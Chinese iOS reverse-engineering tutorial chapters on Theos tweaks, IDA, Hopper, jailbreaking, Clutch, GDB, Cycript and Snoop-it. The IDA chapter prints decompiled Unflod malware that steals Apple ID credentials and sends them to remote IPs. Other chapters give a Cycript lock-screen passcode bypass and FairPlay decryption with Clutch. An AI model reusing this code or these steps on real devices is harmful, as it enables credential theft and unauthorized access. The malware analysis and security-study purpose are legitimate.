第5步:安装dkpg

dpkg能够把你的app打包成Debian Package,可以分发的Cydia的存储目录中。

在命令行下执行

brew install dpkg.


也可以用另一个工具Cakebrew来安装dpkg。

第6步：创建新项目

theos使用一个叫做nic(new instance tool)的工具来创建新的工程。执行下面的命令：

$THEOS/bin/nic.pl


就可以开始创建。下面是一个创建jailbroken 应用程序的例子：

author$ $THEOS/bin/nic.pl
NIC 1.0 - New Instance Creator
——————————
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak
Choose a Template (required): 1
Project Name (required): firstdemo
Package Name [com.yourcompany.firstdemo]: 
Author/Maintainer Name [Author Name]: 
Instantiating iphone/application in firstdemo/…
Done.


简单这样的命令，就创建了一个基本的越狱程序firtdemo,它除了常规的文件外，还包含了Makefile，以及control文件（当在Cydia中时，显示的关于程序的信息）。

构建和部署

下面将介绍如何创建一个jailbroken app/tweak/hack的工具，然后编译和上传到设备的方法。

下面是一个创建jailbroken 应用程序的例子：

author$ $THEOS/bin/nic.pl
NIC 1.0 - New Instance Creator
——————————
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak
Choose a Template (required): 1
Project Name (required): firstdemo
Package Name [com.yourcompany.firstdemo]: 
Author/Maintainer Name [Author Name]: 
Instantiating iphone/application in firstdemo/…
Done.


这将会创建一个新的目录firstdemo，并且有以下文件。


	control: 包含applicaton/tweak的信息，当你从Cydia安装时，你可以看到这些信息，包括名字，作者，版本，等等。

	main.m，这个不用多说。

	[applicationName]Application.mm:appdelegate文件。

	Makefile：包含必要的编译命令

	Resources：包含info.plist文件等

	RootViewController.h/mm






Makefile

这里重点介绍下：  

include theos/makefiles/common.mk  
APPLICATION_NAME = firstdemo  
[applicationName]_FILES = main.m firstdemoApplication.mm RootViewController.mm  
[applicationName]_FRAMEWORKS = UIKit Foundation QuartzCore AudioToolbox CoreGraphics


设置环境变量

打开命令行然后输入

export THEOS=/opt/theos/
export SDKVERSION=7.1
export THEOS_DEVICE_IP=xxx.xxx.xxx.xxx


第二行定义你当前的SDK版本，我本机装的是7.1，最后一行定义你的设备的ip地址。

构建工程

第一个命令:make

$ make
Making all for application firstdemo…
 Compiling main.m…
 Compiling firstdemoApplication.mm…
 Compiling RootViewController.mm…
 Linking application firstdemo…
 Stripping firstdemo…
 Signing firstdemo…


注意，如果出现如下的错误：


libsubstrate.dylib, missing required architecture armv7 in file
/Users/mcmillen/test/theos/lib/libsubstrate.dylib (2 slices)



解决方法：

下载libsubstrate.dylib，然后copy到/opt/theos/lib

第二个命令：make package

make package
Making all for application firstdemo…
make[2]: Nothing to be done for ‘internal-application-compile’.
Making stage for application firstdemo…
 Copying resource directories into the application wrapper…
dpkg-deb: building package ‘com.yourcompany.firstdemo’ in ‘/Users/author/Desktop/firstdemo/com.yourcompany.firstdemo_0.0.1-1_iphoneos-arm.deb’.




第三个命令：make install

$ make package install
Making all for application firstdemo…
make[2]: Nothing to be done for `internal-application-compile’.
Making stage for application firstdemo…
 Copying resource directories into the application wrapper…
dpkg-deb: building package ‘com.yourcompany.firstdemo’ in ‘/Users/author/Desktop/firstdemo/com.yourcompany.firstdemo_0.0.1-1_iphoneos-arm.deb’.
...
root@ip’s password: 
...


   这个过程会提示你输入几次iphone或者ipad的密码。默认是:alpine.

   make install报错解决方法

   如果执行make install提示错误：

   make: *** [internal-install] Error 1


   找到文件$THEOS/makefiles/package/deb.mk，把其中的

$(ECHO_NOTHING)COPYFILE_DISABLE=1 $(FAKEROOT) -r dpkg-deb -b "$(THEOS_STAGING_DIR)" "$(_THEOS_DEB_PACKAGE_FILENAME)" $(STDERR_NULL_REDIRECT)$(ECHO_END)


替换为：

$(ECHO_NOTHING)COPYFILE_DISABLE=1 $(FAKEROOT) -r dpkg-deb -Zgzip -b "$(THEOS_STAGING_DIR)" "$(_THEOS_DEB_PACKAGE_FILENAME)" $(STDERR_NULL_REDIRECT)$(ECHO_END)


   然后再次执行make install就可以正常安装了。

你的第一个Tweak程序

这一节将介绍如何给任意的Apple提供的方法打补丁。在这个demo中，我们将要hook Springboard的init方法，然后在iphone启动时显示一个UIAlertView。这个demo不是最酷的，但是这里所使用的方法和模式，可以用来给任何class的任何method打补丁。




1 准备工作

你首先还需要下载libsubstrate.dylib，然后copy到/opt/theos/lib

下载libsubsrate.dylib




2 iOS 头文件

很可能theos本身就自带了你所需要的头文件，但是，如果你编译程序的时候提示你头文件相关的问题，那你就需要准备相关的头文件了。

下载iphoneheader到/opt/theos/include：

git clone https://github.com/rpetrich/iphoneheaders.git
mv iphoneheaders/* theos/include/


   上述操作之后截图如下：

   [image: ]

  从OSX library中拷贝IOSurfaceAPI.h到theos/include/IOSurface目录下：

  cp /System/Library/Frameworks/IOSurface.framework/Headers/IOSurfaceAPI.h theos/include/IOSurface 


给IOSurfaceAPI.h打补丁，注释掉IOSurfaceCreateXPCObject 和IOSurfaceLookupFromXPCObject。

注释后的结果是：

/* This call lets you get an xpc_object_t that holds a reference to the IOSurface.
   Note: Any live XPC objects created from an IOSurfaceRef implicity increase the IOSurface's global use
   count by one until the object is destroyed. */

/*xpc_object_t IOSurfaceCreateXPCObject(IOSurfaceRef aSurface) XPC_RETURNS_RETAINED
    IOSFC_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_NA);*/


/* This call lets you take an xpc_object_t created via IOSurfaceCreatePort() and recreate an IOSurfaceRef from it. */

/*IOSurfaceRef IOSurfaceLookupFromXPCObject(xpc_object_t xobj) CF_RETURNS_RETAINED
    IOSFC_AVAILABLE_STARTING(__MAC_10_7, __IPHONE_NA);
*/





3 创建项目

执行
$THEOS/bin/nic.pl

author$ $THEOS/bin/nic.pl
NIC 1.0 - New Instance Creator
——————————
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak


这里，需要选择5，如下：

NIC 1.0 - New Instance Creator
——————————
  [1.] iphone/application
  [2.] iphone/library
  [3.] iphone/preference_bundle
  [4.] iphone/tool
  [5.] iphone/tweak
Choose a Template (required): 5
Project Name (required): iossecurity 
Package Name [com.yourcompany.iossecurity]: 
Author/Maintainer Name [Ted]: 
MobileSubstrate Bundle filter [com.apple.springboard]: 
Instantiating iphone/tweak in iossecurity/…
Done.





4 The Tweak File

一旦你创建了项目，你会发现Theos生成了一个叫做Tweak.xm的文件，这是个特殊的文件，hook的相关代码就将写在这个文件。

默认的所有代码都是被注释起来的。

%hook 和 %end

%hook Springboard
// overwrite methods here
%end


%hook后面跟的是你要hook的类名称，以一个%end结尾。上面的代码说明我们会hook Springboard类里面的method。

%orig

当在一个method内部的时候，%orig会调用原来的方法（original method)。

你甚至可以给原来的method传递参数，例如：%orig(arg1,arg2)。如果你不调用%orig，原来的方法就绝对不会被调用。

所以，如果你hook了SpringBoard的init方法，但是没有调用%orig。那么你的iphone就将不可用，除非你通过ssh删除你的app。




5  Hooking into Springboard

打开Tweak.xm，然后加上代码：

#import <SpringBoard/SpringBoard.h>

%hook SpringBoard

-(void)applicationDidFinishLaunching:(id)application {
%orig;

UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"Welcome" 
message:@"Welcome to your iOS Device Ted!" 
delegate:nil 
cancelButtonTitle:@"security.ios-wiki.com" otherButtonTitles:nil];

[alert show];
[alert release];

}

%end


首先，import头文件 Springboard.h，这可以让我们可以访问springboard。然后，我们告诉预处理器hook Springboard class。

这里覆盖的method是applicationDidFinishLaunching：方法，当Springboard启动时，就会被执行。注意我们调用了%orig。

最后，显示一个UIAlertView。




6 添加Framework

如果你直接编译，，会得到如下的提示信息：

Tweak.xm: In function ‘objc_object* $_ungrouped$SpringBoard$init(SpringBoard*, objc_selector*)’:
Tweak.xm:6: error: declaration of ‘objc_object* self’ shadows a parameter


那是因为我们依靠UIKit framework来显示alert,所以需要在Makefile中加上如下一行：

iossecurity_FRAMEWORKS = UIKit


如下图：

[image: ]




7 Building, Packaging, Installing.

在前面的系列中介绍了如何编译，打包和安装，依次执行下面的命令即可。

make, make package, make install

[image: ]

安装之后，你将看到这个：

[image: ]

小结

本节我们简要介绍了Theos的安装与Tweak程序的开发以及安装流程，并给出了一个小例子，后面会对Tweak程序运行的原理进行详细的介绍。
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        3.7 IDA：强大的反汇编工具

        
            
            
                IDA是一个非常强大的反汇编和调试工具，支持Windows,Linux, Mac OS X平台，它支持太多的功能了，以至于其作者都不能在官方网站上对其进行详细的描述。

正式版本是需要收费的，正因为其功能强大，收费也非常贵。不过，它有试用版本可以下载，从这找到IDA demo download，选择下载IDA Demo 6.5 for Mac。

下载之后解压并运行，出现如下的示意图：

[image: ]

过几秒会马上提示是否同意IDA协议，点击"agree"：

[image: ]

然后会出现Quick Start，如下图：

[image: ]

选择其中的“New”，然后根据提示选择你需要分析的文件，就可以体验IDA的功能了。

使用IDA分析iOS恶意软件Unflod

tdvx在Reddit上发帖说：从上周起，他用Snapchat和Google Hangouts的使用经常遇到crash，经过排查，他发现是下面这个可疑文件导致的：

/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib


这个恶意文件位于：/Library/MobileSubstrate/DynamicLibraries/Unflod.dylib或者framework.dylib。依赖于MobileSubstrate，只在越狱设备上起作用。

从http://deev.es/9xq1可以下载改恶意代码的样本，下载需谨慎操作。

下载到本地之后，用IDA打开，打开会出现如下图的提示，点击确定即可。

[image: ]

如果你觉得默认的字体太小，可以选择Option中的字体，在最右边的Size这一列修改。如下图所示：

[image: ]

其中一个API叫做replace_SSLWrite，如下图所示：

[image: ]
[image: ]

使用IDA的插件F5一下，可以得到如下的代码：

｀int __fastcall replace_SSLWrite(int a1, char *a2, int a3, int a4)
 {
 ......

 if ( !findhead )
  {
    v19 = strstr(v22, "/WebObjects/MZFinance.woa/wa/authenticate HTTP/1.1");
    if ( v19 )
    {
      findhead = 1;
      strcpy(content, v22);
    }
  }
  if ( findhead == 1 )
  {
    v18 = strstr(v22, "<key>appleId</key>");
    v17 = strstr(v22, "<key>password</key>");
    if ( v18 )
    {
      if ( v17 )
      {
        strcat(content, v22);
        v16 = strstr(content, "</plist>");
        if ( v16 && v16 - content <= 2040 )
          v16[8] = 0;
        v14 = 0;
        v15 = socket(2, 1, 0);
        if ( v15 < 0 )
        {
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v13.sa_family = 2;
        *(_WORD *)&v13.sa_data[0] = 0xC61Eu;
        *(_DWORD *)&v13.sa_data[2] = inet_addr("23.88.10.4");
        if ( connect(v15, &v13, 0x10u) < 0 )
        {
          close(v15);
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v5 = v15;
        v6 = strlen(content);
        v14 = write(v5, content, v6);
        v11 = 0;
        close(v15);
        v12 = socket(2, 1, 0);
        if ( v12 < 0 )
        {
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v10.sa_family = 2;
        *(_WORD *)&v10.sa_data[0] = 0xC61Eu;
        *(_DWORD *)&v10.sa_data[2] = inet_addr("23.228.204.55");
        if ( connect(v12, &v10, 0x10u) < 0 )
        {
          close(v12);
          v24 = pSSLWrite(v23, v22, v21, v20);
          goto LABEL_20;
        }
        v7 = v12;
        v8 = strlen(content);
        v11 = write(v7, content, v8);
        close(v12);
        findhead = 2;
      }
    }
  }
  v24 = pSSLWrite(v23, v22, v21, v20);
LABEL_20:
  if ( __stack_chk_guard != v25 )
    __stack_chk_fail(__stack_chk_guard, v24, v25, v4);
  return v24;
}


 这个恶意代码通过 Hook Security.framework的SSLWrite方法（Hook函数为replace_SSLWrite），截取Apple id和密码，然后把这些信息发送到IP为23.88.10.4、3.228.204.55，端口为7878的服务器。（端口为7878，也就是上面的0xC61Eu。注意，这里是big endian模式。所以，端口其实是0x1EC6,即7878。）

 这个恶意软件被iPhone开发者证书签名。签名信息如下：

$ codesign -vvvv -d Unflod.dylib
Executable=./Unflod.dylib
Identifier=com.your.framework
Format=Mach-O thin (armv7)
CodeDirectory v=20100 size=227 flags=0x0(none) hashes=3+5 location=embedded
Hash type=sha1 size=20
CDHash=da792624675e82b3460b426f869fbe718abea3f9
Signature size=4322
Authority=iPhone Developer: WANG XIN (P5KFURM8M8)
Authority=Apple Worldwide Developer Relations Certification Authority
Authority=Apple Root CA
Signed Time=14 Feb 2014 04:32:58
Info.plist=not bound
Sealed Resources=none
Internal requirements count=2 size=484


需要注意的是，这并不表示这个人就是这个事情的始作俑者。这个人可能是假冒的，也可能是其证书被偷窃，也可能是真正涉及到这个事情，但是，我们没有办法知道，但是，苹果需要调查这个事情。

解决方法

如果你的设备上有Unflod.dylib/framework.dylib这两个文件，把其删掉，然后重新设置Apple id和密码就可以了。

关于IDA的F5

IDA 中有一个插件Hex-Rays.Decompiler，其快捷键是F5，该插件可以轻易的把IDA中的汇编代码转成C代码，如上面的replace_SSLWrite所示，即使没有一点汇编基础的人都可以反汇编了。这个功能太强大，大家就把使用这个插件把汇编转成C代码的过程叫做F5一下。

请注意，F5插件是需要花钱买的，上面转成的代码，是别人转的，使用今天下载的试用版本，是没有F5这个功能的，这也可以理解，否则很多人应该都没必要去花钱买正式版本了。

The IDA Pro book

它功能太强大，都可以写一本书专门来介绍它，事实上，确实存在这么一本书The IDA Pro book, 2nd edition, 这本书有中文翻译IDA Pro权威指南（第2版）

小结

本节简要介绍了如何下载是使用IDA，更强大的功能需要渎职自己去探索，有兴趣的话可以找下文中提到的The IDA Pro book这本书读读，然后实践下。
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        3.8 Hopper: 另一款反汇编工具

        
            
            
                上一节我们介绍了IDA，这里我们介绍另一款反汇编工具：Hopper，它有OS X和Linux版本，能够反汇编32/64位Mac，Linux，Windows和iOS可执行文件。

Hopper Disassembler v3 - Personal License版本在中国售价 ￥580.01相对于IDA来说相当便宜。

本文我们将使用是demo版本，可以从这里下载。

下载完成之后，解压安装。

反汇编举例

我们编写一个demo，在ViewDidLoad中调用UIAlertView，代码如下：

- (void)viewDidLoad
{
    [super viewDidLoad];

    UIAlertView *alert =
    [[UIAlertView alloc] initWithTitle:@"Welcome"
                               message:@"Welcome to your iOS Device Ted!"
                              delegate:nil
                     cancelButtonTitle:@"security.ios-wiki.com"
                     otherButtonTitles:nil];

    [alert show];

}


[image: ]

编译运行，使用SimPholders，点击其中的AlertDemo

[image: ]

会打开目录中选择AlertDemo右键，点击Show Package contents


然后用Hopper打开里面的可执行文件

[image: ]

可以看到ViewDidLoad中的汇编代码如下：

[image: ]

点击右上角箭头所指的图标，得到如下的伪代码：

[image: ]

可以看到，用Hopper能够得到近似源码的伪代码。

function -[ViewController viewDidLoad] {
    _PIC_register_ = eax;
    var_44 = @"Welcome to your iOS Device Ted!";
    var_40 = @"security.ios-wiki.com";
    var_72 = arg_offset_x0;
    var_68 = arg_offset_x4;
    var_56 = var_72;
    var_60 = *0x3570;
    var_36 = @"Welcome";
    var_32 = &var_52;
    var_28 = 0x0;
    [[&var_56 super] viewDidLoad];
    eax = [UIAlertView alloc];
    var_52 = objc_msgSend(eax, *0x3558);
    [var_52 show];
    eax = objc_storeStrong(var_32, 0x0);
    return eax;
}


小结

可以看到，Hopper功能相当强大，它还有更多功能，欢迎读者亲自去尝试下，去买一个正版，价格也比IDA便宜得多。
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        3.9 小结

        
            
            
                本章介绍了iOS逆向工程过程中，需要在Mac上安装的工具，并且对其用法进行了简要的介绍，下一章将介绍需要在iOS设备上安装的工具，然后我们就可以正式开始iOS逆向工程之旅了。
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        4 iOS设备上的工具

        
            
            
                iOS设备上的工具


            
            

        
    



        
        

    
        4.1 iOS设备越狱

        
            
            
                引言

本节将简要介绍iOS设备越狱的步骤。

越狱你的设备

如果你真的对iOS安全很感兴趣，有一个越狱设备是非常有必要的。在本节，我们将介绍如何越狱iOS设备。越狱之后有很多好处，你可以安装很多工具，例如nmap, metasploit，甚至在设备上运行自己写的python代码。

越狱非常简单，下载一个越狱软件，然后点击越狱就可以了。如果你的设备运行的是iOS 6.x到iOS 7.0.6的系统，推荐你使用evasi0n，如果你的设备运行的是iOS 5.x，那推荐用redsn0w。

目前iOS 7.1到iOS 7.1.1已经能越狱，但是越狱方法还没有公布出来，应该要iOS 8发布之后，才会公布。

请注意，在越狱之前，一定要先用iTunes或者iCloud备份一下，这样即使出错，你也能够恢复你的数据。

请注意：以下越狱部分的介绍来自这里

本文将对我的new iPad （3代，运行 iOS 6.0.1）越狱。一旦你下载evasi0n并运行，它就会自动检测设备并且告诉你这个设备是否可以越狱。 如图：

[image: ]

你需要做的仅仅是点击jailbeak(越狱)，然后让evasi0n做剩下的事情。

[image: ]

你可以看到，越狱已经开始了。过一段时间之后，evasi0n将会重启设备，然后运行exploit（利用程序）。
[image: ]

一旦利用程序（exploit）运行完毕，它就会安装Cydia和Cydia的包列表到设备上。Cydia是一个图形界面，使得你能在越狱设备上下载和安装软件包和应用，这些应用通常你在App store是找不到的。基本上所有的越狱程序都会默认安装Cydia。你可以认为Cydia就是越狱设备上的App Store。

[image: ]

等待一段时间，直到你得到下面的提示。 

[image: ]

解锁你的设备，你可以看到桌面上有个新的app图标，叫做Jailbreak。点击它以完成越狱过程。

[image: ]

你可以看到你的设备将会重启。请耐心等待这个过程的完成。一旦设备完成重启，你可以看到一个叫做Cydia的新app在桌面上。这个就表明你已经成功越狱。

祝贺你，你已经在iOS hacking领域跨出了第一步。

小结

本文简要介绍了如何对iOS设备越狱，并且以iOS 6为例，我手头没有可以越狱的iOS 7设备，因此，这里没有介绍，步骤其实也类似。后续iOS7.1.1可以越狱了，这里再更新下教程。

越狱需谨慎，请一定备份数据。

对于普通用户，从安全的角度考虑，建议不要越狱。
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        4.2 搭建移动渗透测试平台

        
            
            
                上一节我们介绍了如何对iOS设备越狱。
现在你已经完成了设备的越狱，那么下一步就是安装一些重要的命令行工具，例如 wget, ps, apt-get等用来审计iOS应用的工具。第一个要安装的就是OpenSSH。安装这个工具可以让你从mac登录进越狱设备。

（请注意，以下文字来自我之前翻译的文章，原作者是：Prateek Gianchandani）

进入Cydia，点击底部的搜索tab，然后搜索：OpenSSH.

[image: ]

点击OpenSSH，然后点击安装，

[image: ]

然后OpenSSH就会安装在你的设备上。
在我们用ssh登录进设备之前，我们 还需要安装其他一些命令行工具。几乎所有流行的黑客工具都可以在
BigBoss Recommendation tools这个包中找到。安装BigBoss Recommendation tools，在Cydia中搜索，然后点击安装。

[image: ]

有些重要的命令行工具例如: APT 0.6 Transitional, Git, GNU Debugger, less, make, unzip, wget 和 SQLite 3.x会被安装好。

还有一个工具需要被安装: MobileTerminal，它能够让你在设备上直接运行命令行，而不是需要通过ssh登录设备运行命令。

在Cydia上搜索  MobileTerminal,然后安装。

[image: ]

一旦安装好MobileTerminal,你就可以在桌面上看到一个新的app图标，名字叫做Terminal.

[image: ]

点击它，你可以得到一个终端，试试运行几个Unix命令。在这里，我们简单的用ps列举下正在运行的进程。

[image: ]

你可以看到，ps这个命令成功执行。

让我们看看我们是否能够通过ssh登录进这个越狱设备。确保你的电脑和越狱设备连接在同一个网络，找到越狱设备的IP地址。为了找到设备的IP地址，到设置（settings）- WiFi中选择设备现在连接的网络。

[image: ]

可以看到，IP地址是192.168.2.3。让我们试试以root用户登录进去。在命令行中运行如下命令。root的默认密码是：alpine。推荐的做法是：一旦你安装好了OpenSSH, 马上改掉root的默认密码。这是因为有些恶意软件利用默认的用户名和密码登录进入设备[注1]。为了改密码，在ssh登录上之后，在命令行输入passwd这个命令，然后输入2次新密码。然后你的root秘密就已修改了。这一系列命令可以参见下图：

[image: ]

备注：确保在运行时，Cydia在后台运行而不是在前台。这是因为Cydia以root运行，因此，如果Cydia在前台，而此时我们需要lock一个进程，而恰好此时该进程被Cydia lock，命令就不会运行成功。

运行一下 apt-get update, 获得最新的包列表

[image: ]

小结

本文我们学习了如何越狱设备上搭建移动渗透测试平台，介绍了如何安装需要用到的工具。

[注1]，在iPhone上的第一个蠕虫，ikee利用了默认的密码，具体参见对ikee的详细分析报告：An Analysis of the iKeeB (duh) iPhone botnet (Worm)
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        4.3 Clutch：iOS应用破解工具

        
            
            
                如果你直接从iOS设备上导出从App Store下载的应用的IPA包，你会发现其内容是加密过的。

App Store上的应用都使用了FairPlay DRM数字版权加密保护技术。

我们要对文件进行反汇编，而IPA都是加密的，哪怎么办呢？

可以使用Clutch工具。

不管应用如何加密，在其运行的时候，它总要解密，所以，Clutch等破解工具，就是把应用运行时的内存数据按照一定格式导出。

Clutch开源，代码在这里，你也可以直接下载它的Release程序。

下载Clutch之后，利用前面介绍的iFunbox等工具把这个文件拷贝到越狱之后的iOS设备上的/usr/bin目录下。

然后，在Mac上打开命令行，输入命令：

ssh root@192.168.0.101


然后输入秘密，就可以连上你的iOS设备了。越狱之后，默认秘密是alpine。

请在登录进去之后，输入命令passwd更改。

入图：
[image: ]

请注意，上面的ip应该替换成你的iOS设备的IP。

在命令行中输入Clutch看看，如下图：

[image: ]

选择你要破解的应用的名称，这里的名称是上图中输入Clutch之后显示那些名称。

比如：

Clutch Airbnb


如下图所示：

[image: ]

可以看到，成功破解应用，你可以把这个破解后的文件从iOS设备上拷贝到你的Mac上做后续的分析了。

小结

本文简要介绍了Clutch的作用和用法，利用Clutch可以很方便的破解应用。
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        4.4 GDB简介

        
            
            
                所有发布的iOS设备都是基于ARM架构的。我们开发iOS应用的时候编写的Objective-C代码会首先转换成ARM汇编，然后转换成机器指令。对ARM汇编语言和使用GDB调试有很好掌握的话，攻击者是能够在运行时解密Objective-C代码甚至修改代码的。

下载

你可以到这里https://code.google.com/p/apiexplorer/downloads/detail?name=gdb-1821.deb 下载到你的Mac上，然后使用iFunbox拷贝到你越狱之后的iOS设备上。

然后SSH进iOS设备：

[image: ]

转到gdb-1821.deb所在的文件夹，然后执行：

dpkg -i gdb-1821.deb 


如图：

[image: ]

用法简介

请注意，请先点击要分析的App，使得App处于运行状态。然后在命令行输入命令：

ps aux


可以得到正在运行的App的pid等信息。你也可以过滤出你想要的信息，比如：

ps aux | grep 'Momo'


可以得到你要分析的应用（如Momo）的pid。如下图所示：
[image: ]

然后输入：

gdb --pid 5413 (你的pid可能跟这不同，请注意替换)


  这样你就挂钩进App了。一旦GDB挂钩进了这个应用，你会注意到这个应用目前是在暂停状态。你可以用 c 命令让这个应用继续执行, 如图：

  [image: ]

  不过在继续执行之前，让我们先做些调查。和任何其它架构一样，ARM中的内存也被分为寄存器（register）。所有的寄存器都是32位的（iOS 7中是64位的），并且它们的目的就是保存数据。你可以使用 info registers命令来查看关于这些寄存器的信息。

[image: ]

请注意这个命令并没有把ARM中的所有寄存器都打印出来。要打印所有的寄存器，使用 info all-registers命令。

有如下info命令：

[image: ]

执行下info stack试试：

[image: ]

要导出汇编信息，使用disassemble 或者 disas 命令。这会给出后续几条指令的一些汇编信息。我们通过在
disas命令后面提供函数名称来导出某个特定函数的汇编。例如要导出main函数的汇编，使用命令 

disas


   或者

disassemble


如下图：

[image: ]

小结

本节我们简要介绍了如何安装和加载GDB，后面会在关于对iOS应用进行动态分析的章节会详细介绍其用法。
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        4.5 Cycript简介以及绕过屏幕解锁密码

        
            
            
                简介

Cycript是一个理解Objective-C语法的javascript解释器，这意味着我们能够在一个命令中用Objective-C或者javascript，甚至2者兼用。它能够挂钩正在运行的进程，能够在运行时修改应用的很多东西。

使用Cycript有如下好处：


	1.我们能够挂钩正在运行的进程，并且找出正被使用的类信息，例如view controllers，内部和第3方库，甚至程序的delegate的名称。

	2.对于一个特定的类，例如View Controller, App delegate或者任何其他的类，我们能够得到所有被使用的方法名称。

	3.我们能够得到所有实例变量的名称和在程序运行的任意时刻实例变量的值。

	4.我们能够在运行时修改实例变量的值。

	5.我们能够执行Method Swizzling，例如替换一个特定方法的实现。

	6.我们可以在运行时调用任意方法，即使这个方法目前并不在应用的实际代码当中。



安装Cycript

Cycript的官网在http://www.cycript.org/，最新版本是 0.9.501。
在iOS越狱设备上，默认就有这个工具(参见这里 和 这里)，在iOS的命令行输入

cycript


即可。如果你遇到问题，可以在Cydia中把模式切换成开发者，然后搜索Cycript，从Cydia中安装一下。

当然，你直接从网站上下载到Mac上，然后在上传到iOS设备上也行。

用法举例

下面我们介绍Cycript的用法：
首先用命令

ps aux


找到要分析的应用的pid，然后用命令：

cycript -pid xxx


如下图所示：

 [image: ]

 然后你可以输入ObjectiveC的语法，比如：

 [UIApplication sharedApplication]


 在Cycrit下：

UIApp  和 [UIApplication sharedApplication] 等效


 你甚至可以改提示数字了。此时按Home，让应用切到后台，然后输入如下的命令：

UIApp.applicationIconBadgeNumber=100


效果如图：

 [image: ]

UIApp.applicationIconBadgeNumber=200


 效果如图：

 [image: ]

使用Cycript绕过屏幕解锁密码

首先，请确保你的iOS设备设置了锁屏密码，然后请锁屏待机。

然后在你的Mac上ssh进你的iOS设备，

ssh root@your_ios_device_ip


然后执行如下命令：

cycript -p SpringBoard


然后输入：

SBAwayController.sharedAwayController


如下所示：

Tedteki-iPad:~ root# cycript -p SpringBoard
cy# SBAwayController.sharedAwayController
#"<SBAwayController: 0x1d99aaa0> <SBActivationContext: 0x1d99adf0> activate:  deactivate: "


我们向要打印一个类的所有方法，可以使用Cycript Tricks中的printMethods。

继续输入：

function printMethods(className) {
  var count = new new Type("I");
  var methods = class_copyMethodList(objc_getClass(className), count);
  var methodsArray = [];
  for(var i = 0; i < *count; i++) {
    var method = methods[i];
    methodsArray.push({selector:method_getName(method), implementation:method_getImplementation(method)});
  }
  free(methods);
  free(count);
  return methodsArray;
}


然后在命令行中执行：

printMethods(SBAwayController)


可以得到如下图所示的信息：

[image: ]

从图中可以发现这个方法：

{selector:@selector(unlockWithSound:bypassPinLock:),implementation:0x10d6e9}


即方法：

-(void)unlockWithSound:(BOOL)arg1 bypassPinLock:(BOOL)arg2;


如下图：

[image: ]

在cycript中的输入：

[SBAwayController.sharedAwayController unlockWithSound:1 bypassPinLock:1]


 你的iOS设备就实现了无密码解锁。

小结

Cycript功能非常强大，能够在运行时对iOS应用做修改，我们会在后面的章节详细介绍更多用法。
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在前面的文章中我们介绍了如何用class-dump-z来导出iOS应用的类信息，如何利用Cycript挂钩进程、执行运行时操纵和method swizzling，用gdb分析app的流程。
然而，可能有更好的方式能够做这些事。如果能够有一个工具能够做所有这些事情并且能够更好的展示这些信息就太好了。

Snoop-it就是这样一个tool。它允许我们进行运行时分析和对iOS应用进行黑盒安全评估。它提供一个非常简洁的web界面。在写本文的时候，Snoop-it还没正式发布，我给作者写了邮件，
他们非常友好的提供给我一个beta版本做测试。你可以到它的官网查看或者你可以在Twitter上关注作者。

Snoop-it提供的功能可以从对其官方地址的截图看到。

[image: ]

安装

（备注：目前已经可以通过在Cydia上添加源、然后直接下载安装了。） 
要安装Snoop-it到你的设备上。你不得不下载deb包，然后用sftp上传到你的设备上。在命令行下用命令dpkg -i [packageName]来安装Snoop-it到你的设备上。
一旦安装完成，重启你的设备。

[image: ]

一旦安装完成，你会看到Snoop-it的图标，点击它，你可以看到如下的界面。

[image: ]

到设置中按你所需配置。在这里，我们选择端口为12345，并且关闭验证。如果你所在的网络有许多其他用户，或者比较调皮的用户，建议你还是开启验证。

[image: ]

现在，用Snoop-it提供的地址打开Snoop-it的Web界面。在我这，地址是：http://10.0.1.79:12345

[image: ]

你将看到这个Web界面。如果你读一下，会发现它让你在Snoop-it中选择你要分析的应用，在应用中打开要分析的应用，然后刷新这个Web界面。现在回到
Snoop-it，选择我们要分析的应用，在我这，我将要选择MethodSwizzlingDemo应用，和上一篇文章用的应用一样。

[image: ]

请确保要分析的应用已经打开并保持在前台，现在刷新Snoop-it的Web界面。

[image: ]

正如你看到的，现在你有一个很漂亮的界面，现在你可以对这个应用进行详尽的安全评估了。




分析

在左边，在Analysis下面，点击Objective-C Classes。在右边你就看到所有的类信息，比如属性和方法名称。

[image: ]

橘子色的代表有实例的类。例如，当你把鼠标从ViewController的类上面移动的时候，你会看到一个类实例的信息。

[image: ]

类似的，那可以看到AppDelegate的方法和属性。

[image: ]

回到View Controller上面来，我们可以通过Snoop-it调用方法。点击右上角的 Setup and Invoke。正如我们在上一篇文章中提到的那样，使用这个方法，我们能够绕过这个应用
的验证。

[image: ]

选择对应的实例（这里只有1个实例，但是如果view controller被复用，那么就可能会有多个实例），点击Invoke Method.

[image: ]

这样我们就调用了对应的方法，并且绕过了程序的验证。

[image: ]

Snoop-it的另一个牛逼功能是我们可以切换到任意的view controller。例如，在左边的Analysis下面，选择View Controller，选择右边的view controller，然后点击Display Controller.
你就能够切换到那个view controller。你也可以根据这个View Controller是否在另一个View controller上面来决定点击Close/Hide View Controller。

[image: ]

你能够通过点击 Reset display返回。这个功能能够让我们把view controller与对应的view关联起来。我太喜欢Snoop-it的这个功能了。




运行时修改

Snoop-it支持多种运行时修改，包括修改你的硬件标识符比如Mac地址，UDID，设备模型号等等。

[image: ]

你还可以弄个假地址。这个对于那些利用GeoEncrytion来保护它们数据的应用来说 非常有用。

[image: ]

而且，你还可以跟踪方法和系统调用的流程。请注意，你需要每隔几秒在方法调用后点击最上面的Refresh刷新一下。请注意，因为我们在beta版本上测试，可能作者会改变这个行为使得我们不必每隔几秒就点击刷新按钮。对有些用户来说，这些信息可能太多，但是对于像我一样已经开发过多年iOS程序的人来说这些信息是相当简单直接的。

[image: ]

监控

Snoop-it允许你查看哪些文件和目录目前正被应用访问。为了达到这个目的，请点击Monitoring下面的 Filesystem.这个功能特别有用，尤其是当应用正在往db写数据的时候，这个功能能够让你找出db文件的名字。你也可以双击它们，然后下载到你的机器上再分析。

[image: ]

你也可以看到应用调用的敏感API。比如在地址簿查找信息，访问camera，或者访问设备的UDID。下面是预装的App Store应用访问的敏感API

[image: ]

